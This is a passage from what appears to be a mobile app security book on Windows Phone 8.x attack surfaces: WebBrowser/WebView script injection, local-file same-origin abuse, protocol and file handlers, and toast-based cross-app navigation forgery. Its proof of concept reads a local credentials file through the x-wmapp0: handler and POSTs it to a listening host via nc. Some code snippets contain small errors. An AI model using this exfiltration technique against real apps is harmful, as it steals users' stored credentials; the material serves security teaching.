We mentioned earlier that WebBrowser controls can represent an entry point and source of vulnerabilities in third-party apps. Use of WebBrowser controls in Windows Phone apps is common, so we’ll now discuss potential security problems that can result from not using them carefully.
Because WebBrowser and WebView controls are a subset of browser functionality embedded into a Windows Phone app, it’s probably no surprise that they could be vulnerable to cross-site scripting (XSS).
To create a WebBrowser control within a page of an application, developers insert (manually or using their IDE) something similar to the following into the page’s XAML file:
<phone:WebBrowser HorizontalAlignment="Left" Margin="20,50,0,0"
Name="myWebBrowser"
VerticalAlignment="Top" Height="500" Width="430" />
Within their codebase, developers may then use their embedded WebBrowser control, whose object name is myWebBrowser
.
Likewise, in Windows Phone 8.1 apps, to embed a WebView within a page, XAML similar to the following could be used:
<WebView x:Name="myWebView"
Height="425"
HorizontalAlignment="Stretch"
VerticalAlignment="Stretch"
ScrollViewer.ZoomMode="Disabled"
ScrollViewer.VerticalScrollBarVisibility="Disabled"
Loaded="webView_Loaded"
NavigationFailed="webView_NavigationFailed"
NavigationCompleted="webView_NavigationCompleted"
Visibility="Visible"/>
You could then instruct the control (in both WebView
and WebBrowser
cases) programmatically to load a page, say www.google.co.uk
, with code such as the following:
myWebBrowser.Source = new Uri("http://www.google.co.uk",
UriKind.Absolute);
or
myWebBrowser.Navigate(new Uri("http://www.google.co.uk",
UriKind.Absolute));
A very important point to note is that these code fragments load a standard http://
URL, in particular, http://www.google.co.uk
. Because the HTTP session takes place over an unsecured channel, the connection is ultimately vulnerable to man-in-the-middle attacks, and moreover, injection into the HTTP response stream that will be received and parsed by the WebBrowser
control. If the control had been instructed toward https://www.google.co.uk
, a man-in-the-middle attack would be particularly difficult, and an attacker would be unable to inject any data into the HTTP response returning to the WebBrowser
or WebView
. (SSL API implementation vulnerabilities aside!)
Now, suppose an attacker managed a man-in-the-middle attack on the targeted device (think public, guest, and coffee shop Wi-Fi). One might assume that he could simply inject malicious JavaScript into www.google.co.uk
’s response, and launch some kind of attack against the user. Or, suppose an attacker carried out a persistent (stored) cross-site scripting attack on the site the control is navigated to.
The preceding assumption is quite correct, when JavaScript is enabled on the WebBrowser control in question. By default, WebBrowser and WebView controls have JavaScript disabled, but developers often enable JavaScript just because their app or the plumbing of that particular interface relies on it.
The are two ways JavaScript can be enabled on an embedded WebBrowser
are programmatically and in the page’s XAML file.
Carrying on with the hypothetical myWebBrowser
object, you could use the following line of code to enable JavaScript execution:
myWebBrowser.IsScriptEnabled = true;
In programmatic enablement, it’s as simple as setting a Boolean named IsScriptEnabled
to true.
Enabling JavaScript when actually declaring the WebBrowser
control in the page’s XAML file is also possible, as in the following markup:
<phone:WebBrowser HorizontalAlignment="Left" Margin="20,50,0,0"
Name="myWebBrowser" IsScriptEnabled="True"
VerticalAlignment=”Top” Height=”500” Width=”430” /> Note that WebView controls do not automatically execute JavaScript that is present in rendered pages; instead, the app must instruct the control to execute functions using the InvokeScript
or InvokeScriptAsync
functions. For example:
await myWebView.InvokeScriptAsync("myFunction", null);
Both the WebBrowser and WebView classes also feature a method named NativeToString()
. Feeding an attacker-controlled string into this function also represents a script execution vector, such as the following:
myWebBrowser.NavigateToString(attackerControlledHTMLString);
WebBrowser and WebView controls should ideally use https://
as opposed to http://
URLs wherever possible. This is even truer if the control has JavaScript enabled on it. Whether JavaScript is enabled or not, lack of SSL on the connection should be considered against best practices. Equally, attacker controllable strings should never be passed to the NavigateToString()
method.
Even when the loaded page is just publicly accessible content, SSL should still be used. Smartphone users are generally quite prone to man-in-the-middle attacks, because joining open Wi-Fi networks when out and about, such as public hotspots, and hotel and other guest Wi-Fi networks, is common. GPRS (General Packet Radio Service) and other cellular technologies are also prone to man-in-the-middle attacks that facilitate injection into non-SSL sessions. This is in contrast to desktop or laptop use, where users tend to use secured Wi-Fi or wired connections, and can often be fairly confident that local eavesdropping is somewhat unlikely.
Possible attacks could involve injecting JavaScript, which renders a convincing fake interface in the embedded WebBrowser or WebView, such as providing a prompt for the user’s PIN, password, or other sensitive information, which could then be sent back to the attacker’s web server.
Occasionally, an application may deliberately save a web page to a file, or dynamically generate HTML/JavaScript content, and likewise save the content to a file.
If an attacker can influence the contents of the locally saved HTML file in an arbitrary way, serious security issues can arise due to the same-origin policy (SOP). Although a full description of SOP is beyond the scope of this book, the key purpose of SOP is to prevent a script running in one host’s context from requesting content from another host, and being able to read it. This violates the same-origin policy and is the reason a web page cannot make a request to your online banking site and read the response, which may contain sensitive details such as your balance and recent transactions.
The same-origin policy holds true for all (modern) web browsers; JavaScript running on hostA.com cannot make an AJAX request (for example) to hostB.com and read the response, because the two pieces of content are not from the same origin.
However, when a page is loaded from the local filesystem, other files on the system are from the same origin, or the local zone. This effectively means that if a local file is loaded into a WebBrowser control, JavaScript within it is actually able to request other local files on the filesystem (within sandboxing constraints) and access their contents, because this in line with the same-origin policy. This was first documented by Alex Plaskett and Nick Walker (https://labs.mwrinfosecurity.com/system/assets/651/original/mwri_wp8_appsec-whitepaper-syscan_2014-03-30.pdf
).
This fact should set off alarm bells; if an app writes an HTML file to disk that contains attacker-controlled JavaScript, the attacker can steal files from the device, within WP8.x’s sandboxing constraints.
Demonstrating this is straightforward to do by putting together a simple app that contains a WebBrowser
that loads a local file. The local file, in this demo, contains JavaScript that loads a local file named credentialsFile.txt
in an iframe; the JavaScript then POSTs these contents to another host. This other host, in a real attacker scenario, would be under the control of the attacker.
To carry out the attack, a particular protocol handler will be used to open the local file: x-wmapp0:
. This protocol handler allows demonstration of the attack perfectly—file://secretFile.txt
, on the other hand, will not work.
For the sake of proof-of-concept, follow these steps that demonstrate that local script execution can indeed access and steal local files within the app’s sandbox.
In MainPage.xaml
, insert the following:
<phone:PhoneApplicationPage
x:Class="HTML5App1.MainPage"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:phone="clr-
namespace:Microsoft.Phone.Controls;assembly=Microsoft.Phone"
xmlns:shell="clr-
namespace:Microsoft.Phone.Shell;assembly=Microsoft.Phone"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
mc:Ignorable="d"
FontFamily="{StaticResource PhoneFontFamilyNormal}"
FontSize="{StaticResource PhoneFontSizeNormal}"
Foreground="{StaticResource PhoneForegroundBrush}"
SupportedOrientations="Portrait" Orientation="Portrait"
shell:SystemTray.IsVisible="True">
<!--LayoutRoot is the root grid where all page content is placed-->
<Grid x:Name="LayoutRoot" Background="Transparent">
<phone:WebBrowser x:Name="Browser"
HorizontalAlignment="Stretch"
VerticalAlignment="Stretch"
Loaded="Browser_Loaded"
NavigationFailed="Browser_NavigationFailed" />
</Grid>
<!-- ApplicationBar -->
<phone:PhoneApplicationPage.ApplicationBar>
<shell:ApplicationBar IsVisible="True"
IsMenuEnabled="True" Mode="Minimized">
<shell:ApplicationBarIconButton
IconUri="/Assets/AppBar/appbar.back.rest.png"
IsEnabled="True" Text="back" Click="BackApplicationBar_Click"/>
<shell:ApplicationBarIconButton
IconUri="/Assets/AppBar/appbar.next.rest.png"
IsEnabled="True" Text="forward"
Click="ForwardApplicationBar_Click"/>
<shell:ApplicationBar.MenuItems>
<shell:ApplicationBarMenuItem Text="home"
Click="HomeMenuItem_Click" />
</shell:ApplicationBar.MenuItems>
</shell:ApplicationBar>
</phone:PhoneApplicationPage.ApplicationBar>
</phone:PhoneApplicationPage>
In MainPage.xaml.cs
, insert the following C# code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Navigation;
using Microsoft.Phone.Controls;
using Microsoft.Phone.Shell;
namespace HTML5App1
{
public partial class MainPage : PhoneApplicationPage
{
// Url of Home page
private string MainUri = "/Html/index.html";
// Constructor
public MainPage()
{
InitializeComponent();
}
private void Browser_Loaded(object sender, RoutedEventArgs e)
{
// Add your URL here
//Browser.Navigate(new Uri(
"http://www.google.co.uk", UriKind.Absolute));
Browser.IsScriptEnabled = true;
Browser.Navigate(new Uri(MainUri, UriKind.Relative));
}
// Navigates back in the web browser's navigation stack, not the
applications.
private void BackApplicationBar_Click(object sender,
EventArgs e)
{
Browser.GoBack();
}
// Navigates forward in the web browser's navigation stack,
//not the applications.
private void ForwardApplicationBar_Click(object sender,
EventArgs e)
{
Browser.GoForward();
}
// Navigates to the initial "home" page.
private void HomeMenuItem_Click(object sender, EventArgs e)
{
// Browser.Navigate(new Uri("http://www.google.co.uk",
UriKind.Absolute));
Browser.IsScriptEnabled = true;
Browser.Navigate(new Uri(MainUri, UriKind.Relative));
}
// Handle navigation failures.
private void Browser_NavigationFailed(object sender,
System.Windows.Navigation.NavigationFailedEventArgs e)
{
MessageBox.Show("Navigation to this page failed");
}
}
}
In Solution Explorer, open Html/index.html
and insert the following HTML and JavaScript:
<!DOCTYPE html>
<html>
<body onload="getIframeContent('testFrame');">
<iframe id="testFrame" src="x-wmapp0:credentialsFile.txt" >
</iframe>
</body>
<script>
function getIframeContent(frameId) {
var frameObj = document.getElementById(frameId);
var frameContent = frameObj.contentWindow.document.body.innerHTML;
var x = new XMLHttpRequest();
x.open('POST','http://10.0.0.29:8000',true);
try { x.send(frameContent);
} catch (e) { // error
}
}
</script>
</html>
Change http://10.0.0.29:8000
to the IP address of your test laptop or desktop box.
Using Solution Explorer, right-click the project name and go to Add New Item Text File and insert the following contents into it.
credentialsFile.txt
.$ nc -l 8000
. $ nc -l 8000
POST / HTTP/1.1
Accept: */*
Accept-Language: en-GB
Content-Type: text/plain;charset=UTF-8
UA-CPU: ARM
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0;
Trident/6.0; IEMobile/10.0; ARM; Touch; SAMSUNG; GT-I8750)
Host: 10.0.0.29:8000
Content-Length: 53
Connection: Keep-Alive
Cache-Control: no-cache
<pre>username: adminUser
password: secretPwd123</pre>
Hence, the file was submitted to our fake web server, which is quite worrisome, and a good indicator of the dangers of local scripting!
This method, using the x-wmapp0
file handler, can be used to retrieve any file within the app’s sandboxing restraints. Practically, this means anywhere in an app’s IsolatedStorage
and anywhere within the app’s Install directory. That is, more specifically:
C:\Data\programs\{GUID}\Install\*
—All files installed with the bundleC:\Data\Users\DefApps\APPDATA\{GUID}\*
—The app’s IsolatedStorage/Local
directoryBecause file disclosure is likely to represent a serious vulnerability in sensitive apps (such as banking, secure Bring Your Own Device containers, and so on), you should take great care if your app writes influenced data to a file to be rendered in a WebBrowser or WebView context later.
The possibility exists for JavaScript running in WebBrowser and WebView controls to pass data back to the application’s C# layer. This can be a useful tool, particularly for developers who choose to implement much of an app’s logic in JavaScript.
You achieve communication between the JavaScript and C# layers by implementing a WebBrowser or WebView script notification event handler. You do this using the ScriptNotify
parameter in the control’s XAML tag. For a WebBrowser control, this may look like:
<phone:WebBrowser x:Name="Browser" ScriptNotify="myEventHandler"
HorizontalAlignment="Stretch"
VerticalAlignment="Stretch"
Loaded="Browser_Loaded"
NavigationFailed="Browser_NavigationFailed" />
And for a WebView
control, similarly:
<WebView x:Name="myWebView"
Height="425"
HorizontalAlignment="Stretch"
VerticalAlignment="Stretch"
ScrollViewer.ZoomMode="Disabled"
ScrollViewer.VerticalScrollBarVisibility="Disabled"
ScriptNotify="myEventHandler"
Loaded="webView_Loaded"
NavigationFailed="webView_NavigationFailed"
NavigationCompleted="webView_NavigationCompleted"
Visibility="Visible"/>
The application will define the script notification callback:
private void myEventHandler(object sender, NotifyEventArgs e) {
MessageBox.Show(e.Value);
}
JavaScript executing in a WebBrowser
or WebView
control may then pass a value into the event handler (myEventHandler()
) using the window.external.notify()
API:
window.external.notify("value passed in from JS");
Predictably, in the previous example, the message box would display the "value passed in from JS"
string.
Developers should not assume that values passed in (e.Value
in the previous example) from the JavaScript layer are safe because the possibility exists that attacker-controlled JavaScript may be executing the WebBrowser or WebView control via one route or another (such as man-in-the-middle), and so values passed in via script notification handlers should be treated with caution and not blindly trusted.
What an app actually does with values passed in from JavaScript will vary from app to app. When WebBrowser and WebView control XAML definitions have a ScriptNotify
parameter present, reviewing the handler carefully to see whether any risk exists if an attacker does manage to inject a window.external .notify()
call into the WebBrowser
or WebView’s content is worth your time.
Interprocess communication (IPC) mechanisms were briefly introduced previously in this chapter. Use of IPC mechanisms allow two completely separate apps to launch other apps, and communicate with apps offering IPC interfaces, often to pass information between the two, or to influence or use part of another app’s functionality in some way.
We’ve already mentioned the two types of IPC that the Windows Phone 8.x OSes support: file extension handlers and protocol handlers. This section covers each of these two mechanisms and shows how they are implemented in real applications, and how, as a result, an attacker may be able to interact with another application and possibly exploit weaknesses or vulnerabilities in an app.
Applications declare the scheme for their URL handler in their main manifest file. In apps targeted to work on both Windows Phone 8 and 8.1, this will be WMAppManifest.xml. A typical definition for a sample scheme (myproto:
) would generally take the following form:
<Protocol Name="myproto" NavUriFragment="encodedLaunchUri=%s"
TaskID="_default" />
Then, upon installation of the app, assuming the URL scheme is not already taken, the OS registers the scheme to the app in question.
If an app is only targeted at Windows Phone 8.1, that is, it is an APPX package, the protocol handler declaration will be inside the Package.appxmanifest
file, and may look something like this:
<Extension Category="windows.protocol" EntryPoint="xxxx">
<Protocol Name="myproto">
<Logo>test.jpg</Logo>
<DisplayName>myproto</DisplayName>
</Protocol>
</Extension>
A handler must then be implemented to act as the entry point for when the app launches due to some outside source invoking a myproto:
URL. You do this quite simply by implementing the UriMapperBase
interface (see http://msdn.microsoft.com/en-us/library/windows/apps/jj206987(v=vs.105) .aspx#BKMK_URIassociations
):
class myUriMapper : UriMapperBase
{
private string fullUri;
public override Uri MapUri(Uri myUri) {
fullUri = HttpUtility.UrlDecode(myUri.ToString());
if(fullUri.Contains("myproto:")) {
// get data after "myproto:" scheme
string data = fullUri.IndexOf("myproto:") + 8;
// do something useful with data
}
}
}
The preceding code URL-encodes the entire URL that was invoked, and then checks it for the presence of the URL scheme that we’re interested in handling in this case (because an app may register for and deal with more than one URL scheme). If myproto:
is present, a reference to all data after the myproto:
string is given to the data
variable, and then the app is free to parse the rest of the data and use it in whatever way it pleases.
Although this example handler doesn’t actually do any useful work, consider an example for a hypothetical VoIP application that has a URL handler named myvoip:
and initiates a call automatically every time its URL scheme is invoked with a phone number:
class myUriMapper : UriMapperBase
{
private string fullUri;
public override Uri MapUri(Uri myUri) {
fullUri = HttpUtility.UrlDecode(myUri.ToString());
if(fullUri.Contains("myvoip:CallNumber?number=")) {
// get phone number
string phoneNo = fullUri.IndexOf("number=") + 7;
// launch call screen with number
return new Uri("/DoCall.xaml?phoneNumber=" +
phoneNo, UriKind.Relative);
}
return myUri; // else launch normally
}
}
This VoIP URL handler extracts the phone number passed to the handler and then maps the request to the DoCall.xaml
page, passing the phone number with it. The implementation code for the DoCall.xaml
page (DoCall .xaml.cs
) takes the phone number passed in and automatically initiates a phone call to it.
When XAML pages are navigated to, as in the previous URL handler, its OnNavigatedTo
method is called. Parameters can be passed in the same way as standard URLs, as demonstrated previously when a phone number is passed into the page. DoCall.xaml.cs
could have an implementation similar to the following:
protected override void OnNavigatedTo(NavigationEventArgs e) {
string phoneNumber;
if (this.NavigationContext.QueryString.ContainsKey("phoneNumber"))
{
phoneNumber = this.NavigationContext.QueryString["phoneNumber"];
bool ret = await DoVoIPCall(phoneNumber);
}
// other logic
else {
[ ... ]
}
}
This functionality would be callable via an appropriately crafted invocation of myvoip:
, such as myvoip:CallNumber?number=12345678901
, which results in the DoCall.xaml
page being opened as in DoCall.xaml?phoneNumber=12345678901
.
You can fairly easily see how a call being initiated without permission from the user could be a bad thing, and although this hypothetical case is just an example, it’s not detached from reality. In fact, a very popular VoIP application was vulnerable to almost exactly the same bug: Its protocol handler allowed calls to be launched without prompting the user for permission. Issues with this liberal allowance for initiating calls could range from undesirably wasting a user’s calling credit, to effectively eavesdropping on a user’s real-life conversation by calling a number owned by the attacker.
Consider another example protocol handler, this time an application that in some place renders a web page in a WebBrowser control. This particular hypothetical application offers the ability to change the page that it renders in the WebBrowser:
class myUriMapper : UriMapperBase
{
private string fullUri;
public override Uri MapUri(Uri myUri) {
fullUri = HttpUtility.UrlDecode(myUri.ToString());
if(fullUri.Contains("myapp:ChangeSettings?homePage=")) {
// get phone number
string page = fullUri.IndexOf("homePage=") + 9;
// launch call screen with number
return new Uri("/ChangeSettings.xaml?homePage="
+ phoneNo, UriKind.Relative);
}
return myUri; // else launch the app normally
}
}
Having the ability to change the page rendered by an app’s WebBrowser control presents possible attack vectors, such as, phishing attacks via fake login screens, because WebBrowser controls do not actually show the URL of the current page. Such functionality is conceivable, as well, because some apps may need to be able to update or change the location to be rendered at will (for example, by a page that is being rendered in the WebBrowser in the first place).
Other attack scenarios could involve inclusion of data passed into dynamically generated web pages, SQL injection, and other application-specific privileged or sensitive actions. When URL handlers are offered by an app, you should find out what action is taken. (For example, it is likely that the request is mapped to a XAML page.) You also need to ascertain what action occurs with any inputted data from there. (In this case, what happens in OnNavigatedTo()
?) Manual testing and code review are both viable options, with code review being generally preferred when original or reflected code has been gleaned.
Now that we’ve discussed the basics of custom protocol handlers and how they could possibly present security risks, it’s worth summarizing all the ways that URL handlers can be invoked, because this is ultimately what an attacker will be concerned with. In no particular order, they are:
By web pages being viewed in Internet Explorer or another web browser—This can be done either via a hyperlink,
<a href=myApp://abcd>click me</a>
or via a URL scheme that is followed automatically, such as via an iframe, an event handler, or otherwise:
<iframe id="testFrame" src="myApp://abcd" >
The user is not prompted for permission to launch the app.
By web pages in WebBrowser and WebView controls—This can be done either via a hyperlink,
<a href=myApp://abcd>click me</a>
or via a URL scheme that is followed automatically, such as via an iframe, an event handler, or otherwise:
<iframe id="testFrame" src="myApp://abcd" >
The user is not prompted for permission to launch the app.
By other apps on the device—
Windows.System.Launcher.LaunchUriAsync(new System.Uri(
"myApp://aaaaaaaa"));
The user is not prompted for permission to launch the app.
By a nearby NFC device or tag—For example, from a proximate Windows Phone, other smartphone, or NFC tag:
long Id = device.PublishUriMessage(new System.Uri("myUrl:something"));
The user is prompted for permission to accept and launch the URL—unless the app being launched was ticked as trusted during a previous launch. Trusting an app to allow NFC URL launches is only available in Windows Phone 8.1, not 8.
Applications can register to be associated with file extensions. Then, when a file bearing that file extension is opened on the device, the registered app launches and can make a copy of the file, open it, parse it, and otherwise handle it in the way that it is designed. For example, a PDF viewer would register to be associated with the .pdf
file extension, and upon a PDF file being opened, the app would launch, parse the file, and attempt to render it.
Because many apps that register as file extension handlers parse the data found in opened files bearing their extension, the scope for interesting security bugs becomes quite apparent.
Additionally, files that are received via email or via browser downloads and then opened also result in file handling behavior being honored, so file handlers offer avenues of attack for completely remote attackers if vulnerable apps are installed on a given device.
An app’s intention to be associated with one or more file extensions is declared in the manifest file, much as for protocol handlers. If the app has been built and distributed for both Windows Phone 8 and 8.1 (that is, XAP), this desire will be the WMAppManifest.xml
file, and a sample app may register for the .myExt
file extension using some markup like the following:
<Extensions>
<FileTypeAssociation TaskID="_default" Name="app"
NavUriFragment="fileToken=%s">
<Logos>
<Logo Size="small" IsRelative="true">Assets/img_small.png
</Logo>
<Logo Size="medium"
IsRelative="true">Assets/img_medium.png</Logo>
<Logo Size="large" IsRelative="true">Assets/img_large.png
</Logo>
</Logos>
<SupportedFileTypes>
<FileType ContentType="application/myExt">.myExt</FileType>
</SupportedFileTypes>
</FileTypeAssociation>
</Extensions>
If the app targets only Windows Phone 8.1 and is therefore an APPX package, the file extension handler declaration will be located in the app’s Package .appxmanifest
file, and may resemble this:
<Extension Category="windows.fileTypeAssociation">
<FileTypeAssociation Name="myext">
<DisplayName>myExt</DisplayName>
<SupportedFileTypes>
<FileType ContentType="application/myext">.myExt
</FileType>
</SupportedFileTypes>
</FileTypeAssociation>
</Extension>
The application must then register a handler to be called into when a file bearing the .myExt
extension is opened. This is done in a similar manner as for protocol handlers: by implementing the UriMapperBase
interface.
A hypothetical app could contain the following code:
namespace sdkAutoLaunch
{
class AssociationUriMapper : UriMapperBase
{
private string fullUri;
public override Uri MapUri(Uri uri)
{
fullUri = uri.ToString();
// a file association launch
if (fullUri.Contains("/FileTypeAssociation"))
{
// Get the file ID
int fileIDIndex = fullUri.IndexOf("fileToken=") + 10;
string fileID = fullUri.Substring(fileIDIndex);
// get the name of the file that was opened
string incomingFileName =
SharedStorageAccessManager.GetSharedFileName(fileID);
// Get the file ext of file that was opened
string incomingFileType =
Path.GetExtension(incomingFileName);
// switch case, we may have registered more than
// one file extension
switch (incomingFileType)
{
case ".myExt":
return new Uri("/ParseFile.xaml?fileToken="
+ fileID, UriKind.Relative);
// handle other file exts we reg'd for?
// ...
default:
return new Uri("/MainPage.xaml",
UriKind.Relative);
}
}
return uri; // else launch app normally
}
}
}
This code receives a URL string (in the Uri
parameter) of the form /FileTypeAssociation?fileToken={GUID}
; this string is then parsed. Ultimately the app launches its ParseFile.xaml
page and passes the file’s token to it, whenever a .myExt
file has been opened on the device.
ParseFile.xaml.cs
could contain the following code, which copies the file from the OS’s shared storage space into its own IsolatedStorage
, opens it, and then begins parsing it:
protected override async void OnNavigatedTo(NavigationEventArgs e)
{
base.OnNavigatedTo(e);
if (NavigationContext.QueryString.ContainsKey("fileToken"))
{
// copy the file from shared storage to our own sandboxed
// storage space
Await SharedStorageAccessManager.CopySharedFileAsync(
ApplicationData.Current.LocalFolder, "newFile.myExt",
NameCollisionOption.ReplaceExisting,
NavigationContext.QueryString["fileToken"]);
var file = await folder.GetFileAsync("newFile.myExt");
// open the file for reading
using (var fs = await file.OpenAsync(FileAccessMode.Read))
{
using (var inStream = fs.GetInputStreamAt(0))
{
using (var reader = new DataReader(inStream))
{
await reader.LoadAsync((uint)fs.Size);
// parse the file contents
parseInputFile(reader);
}
}
}
}
}
The details of what the hypothetical parser (in this case, the parseInputFile()
method) actually does with the file contents would be completely application dependent; however, many apps are likely to have registered their file extension(s) so that they can parse, process, or otherwise use files of a certain type in a useful way. For example, apps may register so that they act as the device’s PDF viewer or image viewer.
Other apps may parse binary files in some way, or they may open the file, and then send it back to the developer’s server for use, and perhaps do some parsing on it in between—think collecting telemetry statistics, logs, or crash dumps. Whatever the case, designing secure file parsers can be difficult; homegrown file parsers don’t exactly have a history for being very secure! Some mature apps from the desktop may have been ported to Windows Phone and may be using the desktop app’s parsing engine that was written in native code, via P/Invoke, which may spell trouble.
After you’ve identified the code path that is followed when the registered file type is opened, it’s time to dig into the parser or processor for bugs. You can do this using source code (original or reflected), or via some kind of file format fuzzing.
Before concluding this section on protocol and file handlers, let’s look at the possible ways files can be launched:
By other apps on the device—For example here the user is not prompted for permission to launch an app.
StorageFolder local =
Windows.Storage.ApplicationData.Current.LocalFolder;
StorageFile bqfile = await local.GetFileAsync("file.theirExt");
// launch the file
Windows.System.Launcher.LaunchFileAsync(bqfile);
By a nearby NFC device—For example from a proximate Windows Phone, other smartphone, or NFC tag.
The user is prompted for permission to accept and launch the file—unless the app being launched has been “ticked” as trusted during a previous launch. Trusting an app to allow NFC URL launches is only available in Windows Phone 8.1, not 8.
Toast notifications are small message bars that appear at the top of the screen to notify the user of an event. Typically, an app will publish a toast when something happens that the user may want to react to, such as receiving an instant message.
When an app sends a toast notification, it specifies which of its pages should be launched if the user chooses to tap the toast. The general idea is that upon tapping a toast, users should be taken to the page where they can act upon the event that the toast was informing them of. For example, following on from the previous instant message example, the toast may map them to an XAML page in the app where they can view the conversation and respond to the received message. If no specific XAML page is specified with a toast notification, the default behavior is to take the user to the app’s main page.
Using Windows Phone’s standard API, ShellToast
, applications are only able to send toast notifications that when tapped link to XAML pages within their own app. That is, URIs must be relative to the app, such as /MyXaml.xaml
.
In Windows Phone 8 (not 8.1), however, this restriction can be bypassed by calling the underlying native API, Shell_PostMessageToast()
, which is exported by ShellChromeAPI.dll
. That is to say, if an application crafts a call to Shell_PostMessageToast()
in the right way, a toast can be sent that when tapped launches an XAML page in a completely different app, parameters to the XAML page included. cpuguy disclosed and demonstrated this on xda-developers.com
, in a forum post located here at http://forum.xda-developers .com/showthread.php?t=2398275
.
So, for example, a malicious app could send a toast via Shell_PostMessageToast()
that when tapped launches VulnerablePage.xaml
in another third-party app, with custom parameters; that is:
/VulnerablePage.xaml?params=maliciousData
In this sense, toast notifications represent an interesting entry point in a similar way to protocol handlers—to enter into the OnNavigatedTo()
method of an XAML page. However, unlike protocol handlers, which generally map to hard-coded XAML pages, sending toasts allows entry into arbitrary XAML pages of other third-party apps—as long as the user taps the toast. Consider, for example, an XAML page that is responsible for making important configuration changes, which could be leveraged by coaxing an unsuspecting user into tapping a seemingly innocuous toast notification.
XAML pages (and their implementation code) that are deliberately mapped via protocol handlers may be coded defensively, because developers are aware that such well-exposed entry points are prime targets for attack. However, pages that developers never intended to be arbitrarily callable by anyone other than themselves may be less secure. For example, some XAML page implementations may parse arguments and assume they are trusted, because that page was not mapped via a protocol handler or any other means. Toasts provide a means for attacking these.
This type of attack has been dubbed Cross-Application Navigation Forgery by Alex Plaskett and Nick Walker in their Windows Phone 8 security whitepaper (https://labs.mwrinfosecurity.com/system/assets/651/original/mwri_wp8_appsec-whitepaper-syscan_2014-03-30.pdf
).
This exact attack is what allowed all capabilities to be gained on the Samsung Ativ running certain versions of Windows Phone, by opening a registry editor in the Diagnosis app that was otherwise inaccessible. (See the Chapter 10 section, “Building a Test Environment.”)
You can send arbitrary toast notifications using the Shell_PostMessageToast()
API from ShellChromeAPI.dll
, which has the following function prototype:
WINADVAPI
VOID
APIENTRY
Shell_PostMessageToast(
_In_ TOAST_MESSAGE* toastMessage
);
The useful metadata for the toast itself is passed in via a pointer to a TOAST_MESSAGE
structure, which has the following form:
typedef struct _TOAST_MESSAGE
{
CLSID guid;
LPCWSTR lpTitle;
LPCWSTR lpContent;
LPCWSTR lpUri;
LPCWSTR lpType;
} TOAST_MESSAGE;
The Windows Phone 8 SDK does not ship with an import library file (.lib
) for ShellChromeAPI.dll
, so to call Shell_PostMessageToast()
you need to create your own import library and link your native code against it, so that the Windows Phone knows at load time to look in ShellChromeAPI.dll
’s export table for the Shell_PostMessageToast()
entry point and henceforth use it.
You should fill each of the structure members as follows:
Because the GUID for the app being attacked is discoverable via its manifest and its local data and Install directories, and because the title, content, and type are mostly arbitrary, the remaining important argument to suitably craft is the URI, lpUri
.
The URI takes the following form:
app://GUID/_default#/<AssemblyName>;component/SomePage.xaml?myArgs=value
GUID is simply the app’s ProductID GUID. Assembly name is the name of the DLL that the target XAML is—minus the .dll
file extension. The last portion of the URL simply specifies the name of the XAML file, and any arguments you want to pass to it, which will reach (and most likely be parsed) in the XAML implementation’s OnNavigatedTo()
handler method.
For demonstration purposes, let’s work through a concrete example of a real application and construct a URI so that when the toast is sent and tapped, functionality in that app will be launched, even though the toast was sent by an entirely different app (Native Toast Notification Launcher). The app used for demonstration purposes in this case will be LinkedIn, from a non-attacking perspective. From the WMAppManifest.xml
file extracted from the app’s Install directory, we know that the app’s product ID GUID is bdc7ae24-9051-474c-a89a-2b18f58d1317
.
First, you’ll need to figure out what XAML pages the application actually has. To do this, you need to use your filesystem access to copy a .NET assembly from the app’s Install folder; that is, C:\Data\Programs\{GUID}\Install
. After you have it on your test laptop, load it in .NET reflector and browse to Resources on the right side panel (the “assembly browser”).
As shown in Figure 11.7, you can see a list of all the XAML pages available in the linkedin.dll
assembly (linkedin
will therefore correspond to <AssemblyName>
in the URI). Choosing one that sounds interesting, /views/companypage.xaml
, you will then find the corresponding reflected C# code that implements its logic.
In looking through the methods, it’s clear that OnNavigatedTo()
has indeed been implemented, which will be the code entry point when the XAML page is navigated to. (See Figure 11.8.)
Analysis of the reflected code for OnNavigatedTo()
shows parsing of the query string to extract several parameters. These are then used to create a company information page. Parameters named id
, name
, industry
, and logourl
are parsed out and used in the generated company information page.
Putting all this together, you can form the following URI to call into the XAML page to have the app generate a company profile page for a fictional company of your choice, Acme Corp:
app://bdc7ae24-9051-474c-a89a-2b18f58d1317 /_default#/linkedin;
component/views/companypage.xaml?id=test&name=Acme%20Corp
&industry=Exploding%20Tennis%20Balls
&logourl=http://uva.onlinejudge.org/external/116/p11613.jpg
Now, to send the toast you need to call Shell_PostMessageSend()
with the correct parameters, including the preceding URI. The process for creating a toast-sending application involves creating an import library (.lib
) for ShellChromeAPI .dll
, writing the necessary native code to call into Shell_PostMessageSend()
, linking against your import library, and then writing managed code wrappers and an interface.
Fortunately, cpuguy from the xda-developers.com
forum released an application for sending custom toasts; all the app requires is for users to input an app://
URI of their choice! You can therefore use cpuguy’s app for arbitrary XAML page testing or Cross-Application Navigation Request Forgery.
The app, Native Toast Notification Launcher, is available for download as an attachment in cpuguy’s original post detailing the discovery: http://forum .xda-developers.com/showthread.php?t=2398275
.
Figure 11.9 shows that the previous app://
URI was typed into the toast launcher app and sent, giving the following toast notification.
Tapping the toast reveals the screen shown in Figure 11.10, indicating successful launch of the target XAML page, showing a fake profile for Acme Corp.
Although the preceding example is relatively benign, it shows how toast notifications can provide an interesting and unexpected (by developers) entry point into pages that weren’t supposed to be arbitrarily reachable, and it follows that the potential for security issues because of this is significant. Remember that this technique only works on Windows Phone 8 and appears to be completely fixed on Windows Phone 8.1.
Applications may register to receive toasts remotely via push notifications received from Microsoft Push Notification Service (MPNS). Registering for a push notification channel allows the developer of the app to send notifications, including toasts, to instances of the app. Alternatively, the app’s vendor may register with a cloud service that will do the push notifications for them, because push channel registrations with MPNS are not per app, but per device. Introductions to push notifications and toast notifications from a code-level perspective are available on MSDN at http://msdn.microsoft.com/en-us/library/windows/apps/ff402558(v=vs.105).aspx
, and http://msdn.microsoft.com/en-us/library/windows/apps/hh202967(v=vs.105).aspx
.
